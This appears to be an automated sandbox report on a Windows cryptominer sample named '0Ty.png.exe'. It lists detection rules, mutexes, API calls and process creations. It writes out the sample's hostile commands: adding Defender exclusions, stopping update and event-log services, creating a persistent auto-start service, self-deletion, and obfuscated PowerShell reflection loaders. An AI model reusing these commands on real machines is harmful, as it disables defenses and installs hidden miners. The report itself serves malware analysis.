Source: C:\Windows\System32\conhost.exe	Code function: 67_3_0000014ECB483CD8	67_3_0000014ECB483CD8
Source: C:\Windows\System32\conhost.exe	Code function: 67_3_0000014ECB47D510	67_3_0000014ECB47D510
Source: C:\Windows\System32\conhost.exe	Code function: 67_3_0000014ECB471FF4	67_3_0000014ECB471FF4
Source: C:\Windows\System32\conhost.exe	Code function: 67_2_0000014ECB4B48D8	67_2_0000014ECB4B48D8
Source: C:\Windows\System32\conhost.exe	Code function: 67_2_0000014ECB4AE110	67_2_0000014ECB4AE110
Source: C:\Windows\System32\conhost.exe	Code function: 67_2_0000014ECB4A2BF4	67_2_0000014ECB4A2BF4
Source: C:\Windows\System32\dllhost.exe	Code function: 68_2_0000000140001CF0	68_2_0000000140001CF0
Source: C:\Windows\System32\dllhost.exe	Code function: 68_2_0000000140002D54	68_2_0000000140002D54
Source: C:\Windows\System32\dllhost.exe	Code function: 68_2_0000000140001274	68_2_0000000140001274
Source: C:\Windows\System32\dllhost.exe	Code function: 68_2_0000000140002434	68_2_0000000140002434
Source: C:\Windows\System32\dllhost.exe	Code function: 68_2_00000001400031D8	68_2_00000001400031D8
Source: C:\Windows\System32\winlogon.exe	Code function: 69_3_00000225DC611FF4	69_3_00000225DC611FF4
Source: C:\Windows\System32\winlogon.exe	Code function: 69_3_00000225DC623CD8	69_3_00000225DC623CD8
Source: C:\Windows\System32\winlogon.exe	Code function: 69_3_00000225DC61D510	69_3_00000225DC61D510
Source: C:\Windows\System32\winlogon.exe	Code function: 69_2_00000225DC642BF4	69_2_00000225DC642BF4
Source: C:\Windows\System32\winlogon.exe	Code function: 69_2_00000225DC6548D8	69_2_00000225DC6548D8
Source: C:\Windows\System32\winlogon.exe	Code function: 69_2_00000225DC64E110	69_2_00000225DC64E110
Source: C:\Windows\System32\winlogon.exe	Code function: 69_2_00000225DC672BF4	69_2_00000225DC672BF4
Source: C:\Windows\System32\winlogon.exe	Code function: 69_2_00000225DC6848D8	69_2_00000225DC6848D8
Source: C:\Windows\System32\winlogon.exe	Code function: 69_2_00000225DC67E110	69_2_00000225DC67E110
Source: C:\Windows\System32\lsass.exe	Code function: 70_3_00000202C0AB1FF4	70_3_00000202C0AB1FF4
Source: C:\Windows\System32\lsass.exe	Code function: 70_3_00000202C0AC3CD8	70_3_00000202C0AC3CD8
Source: C:\Windows\System32\lsass.exe	Code function: 70_3_00000202C0ABD510	70_3_00000202C0ABD510
Source: C:\Windows\System32\lsass.exe	Code function: 70_2_00000202C0AE2BF4	70_2_00000202C0AE2BF4
Source: C:\Windows\System32\lsass.exe	Code function: 70_2_00000202C0AF48D8	70_2_00000202C0AF48D8
Source: C:\Windows\System32\lsass.exe	Code function: 70_2_00000202C0AEE110	70_2_00000202C0AEE110
Source: C:\Windows\System32\svchost.exe	Code function: 71_3_000002A6612DD510	71_3_000002A6612DD510
Source: C:\Windows\System32\svchost.exe	Code function: 71_3_000002A6612D1FF4	71_3_000002A6612D1FF4
Source: C:\Windows\System32\svchost.exe	Code function: 71_3_000002A6612E3CD8	71_3_000002A6612E3CD8
Source: C:\Windows\System32\svchost.exe	Code function: 71_2_000002A66130E110	71_2_000002A66130E110
Source: C:\Windows\System32\svchost.exe	Code function: 71_2_000002A661302BF4	71_2_000002A661302BF4
Source: C:\Windows\System32\svchost.exe	Code function: 71_2_000002A6613148D8	71_2_000002A6613148D8
Source: C:\Windows\System32\dwm.exe	Code function: 72_3_000002BAAEDD1FF4	72_3_000002BAAEDD1FF4
Source: C:\Windows\System32\dwm.exe	Code function: 72_3_000002BAAEDDD510	72_3_000002BAAEDDD510
Source: C:\Windows\System32\dwm.exe	Code function: 72_3_000002BAAEDE3CD8	72_3_000002BAAEDE3CD8
Source: C:\Windows\System32\dwm.exe	Code function: 72_2_000002BAAEE02BF4	72_2_000002BAAEE02BF4
Source: C:\Windows\System32\dwm.exe	Code function: 72_2_000002BAAEE0E110	72_2_000002BAAEE0E110
Source: C:\Windows\System32\dwm.exe	Code function: 72_2_000002BAAEE148D8	72_2_000002BAAEE148D8
Source: C:\Windows\System32\dllhost.exe	Code function: 73_3_00000248FFB53CD8	73_3_00000248FFB53CD8
Source: C:\Windows\System32\dllhost.exe	Code function: 73_3_00000248FFB4D510	73_3_00000248FFB4D510
Source: C:\Windows\System32\dllhost.exe	Code function: 73_3_00000248FFB41FF4	73_3_00000248FFB41FF4
Source: C:\Windows\System32\dllhost.exe	Code function: 73_2_0000000140001CF0	73_2_0000000140001CF0
Source: C:\Windows\System32\dllhost.exe	Code function: 73_2_0000000140002D54	73_2_0000000140002D54
Source: C:\Windows\System32\dllhost.exe	Code function: 73_2_0000000140002434	73_2_0000000140002434
Source: C:\Windows\System32\dllhost.exe	Code function: 73_2_00000001400031D8	73_2_00000001400031D8
Source: C:\Windows\System32\dllhost.exe	Code function: 73_2_0000000140001274	73_2_0000000140001274
Source: C:\Windows\System32\dllhost.exe	Code function: 73_2_0000024880602BF4	73_2_0000024880602BF4
Source: C:\Windows\System32\dllhost.exe	Code function: 73_2_000002488060E110	73_2_000002488060E110
Source: C:\Windows\System32\dllhost.exe	Code function: 73_2_00000248806148D8	73_2_00000248806148D8

Source: Joe Sandbox View

Dropped File: C:\Windows\Temp\ihddniqxcjeb.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5

Source: unknown	Process created: Commandline size = 5337
Source: unknown	Process created: Commandline size = 5389

Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000041.00000002.2936453016.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25

Source: classification engine

Classification label: mal100.spyw.evad.mine.winEXE@105/17@1/2

Source: C:\Windows\System32\dllhost.exe	Code function: 68_2_0000000140002D54 GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,RegOpenKeyExW,RegQueryValueExW,RegQueryValueExW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,RegQueryValueExW,RegQueryValueExW,RegCloseKey,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,ShellExecuteW,GetProcessHeap,HeapFree,SleepEx,		68_2_0000000140002D54
Source: C:\Windows\System32\dllhost.exe	Code function: 73_2_0000000140002D54 GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,RegOpenKeyExW,RegQueryValueExW,RegQueryValueExW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,RegQueryValueExW,RegQueryValueExW,RegCloseKey,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,ShellExecuteW,GetProcessHeap,HeapFree,SleepEx,		73_2_0000000140002D54

Source: C:\Windows\System32\dialer.exe

Code function: 24_2_0000000140001614 SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,CoUninitialize,SysFreeString,SysFreeString,

24_2_0000000140001614

Source: C:\Windows\System32\dialer.exe

Code function: 24_2_0000000140001984 FindResourceExA,SizeofResource,LoadResource,LockResource,RegOpenKeyExW,RegSetValueExW,

24_2_0000000140001984

Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7688:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3064:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7920:120:WilError_03
Source: C:\Windows\System32\dialer.exe	Mutant created: \BaseNamedObjects\Global\gohkfyvqbpmecnid
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2416:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7928:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7784:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7864:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6992:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8184:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7968:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7672:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8028:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7832:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7912:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7888:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7436:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7764:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8100:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7680:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7816:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3848:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7972:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_djuimxe0.3el.ps1

Jump to behavior

Source: 0Ty.png.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"

Source: C:\Users\user\Desktop\0Ty.png.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 0Ty.png.exe	Virustotal: Detection: 65%
Source: 0Ty.png.exe	ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\0Ty.png.exe

File read: C:\Users\user\Desktop\0Ty.png.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\0Ty.png.exe "C:\Users\user\Desktop\0Ty.png.exe"
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "HGLZSDMZ"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:CKtjhrwjgtVV{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OBERloAcZJvOcu,[Parameter(Position=1)][Type]$NRdDEuXiTK)$iAHAMhduySN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+'l'+''+'e'+''+'c'+'t'+'e'+''+[Char](100)+''+[Char](68)+''+'e'+'l'+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+'mor'+[Char](121)+''+[Char](77)+''+'o'+'dul'+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+'De'+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+'t'+'e'+''+[Char](84)+''+'y'+'p'+'e'+'',''+[Char](67)+''+[Char](108)+'as'+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+'c,'+[Char](83)+'e'+'a'+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+'nsiC'+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+','+''+'A'+''+[Char](117)+''+'t'+''+[Char](111)+'Cla'+'s'+''+'s'+'',[MulticastDelegate]);$iAHAMhduySN.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+'p'+''+[Char](101)+'c'+[Char](105)+'a'+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$OBERloAcZJvOcu).SetImplementationFlags(''+'R'+'u'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'ged');$iAHAMhduySN.DefineMethod('I'+[Char](110)+'v'+'o'+''+[Char](107)+'e',''+[Char](80)+'ub'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+'e'+''+[Char](66)+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+[Char](83)+''+'l'+''+[Char](111)+'t'+[Char](44)+''+[Char](86)+''+[Char](105)+'r'+[Char](116)+'u'+'a'+''+[Char](108)+'',$NRdDEuXiTK,$OBERloAcZJvOcu).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+'e'+','+''+[Char](77)+'anag'+'e'+''+'d'+'');Write-Output $iAHAMhduySN.CreateType();}$qragMIYqXnsdW=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+'s'+'te'+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+'os'+[Char](111)+'f'+'t'+''+[Char](46)+''+[Char](87)+''+'i'+'n3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+'s'+[Char](97)+'f'+[Char](101)+''+[Char](78)+'a'+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+'e'+[Char](116)+'ho'+[Char](100)+''+'s'+'');$OvDFGAtJneNnnn=$qragMIYqXnsdW.GetMethod(''+'G'+''+[Char](101)+'t'+'P'+''+[Char](114)+''+[Char](111)+'c'+[Char](65)+
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "HGLZSDMZ" binpath= "C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "HGLZSDMZ"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\user\Desktop\0Ty.png.exe"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 3
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:DwpcGqRaxEQb{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kwrQxTwRDzvgHI,[Parameter(Position=1)][Type]$doUOZqbWki)$ZycFOOCRuuH=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+'D'+''+[Char](101)+'l'+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+[Char](109)+'o'+[Char](114)+'y'+'M'+'o'+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+'e'+'ga'+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+'b'+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+'S'+''+[Char](101)+''+'a'+''+'l'+''+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+''+'s'+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+'lass',[MulticastDelegate]);$ZycFO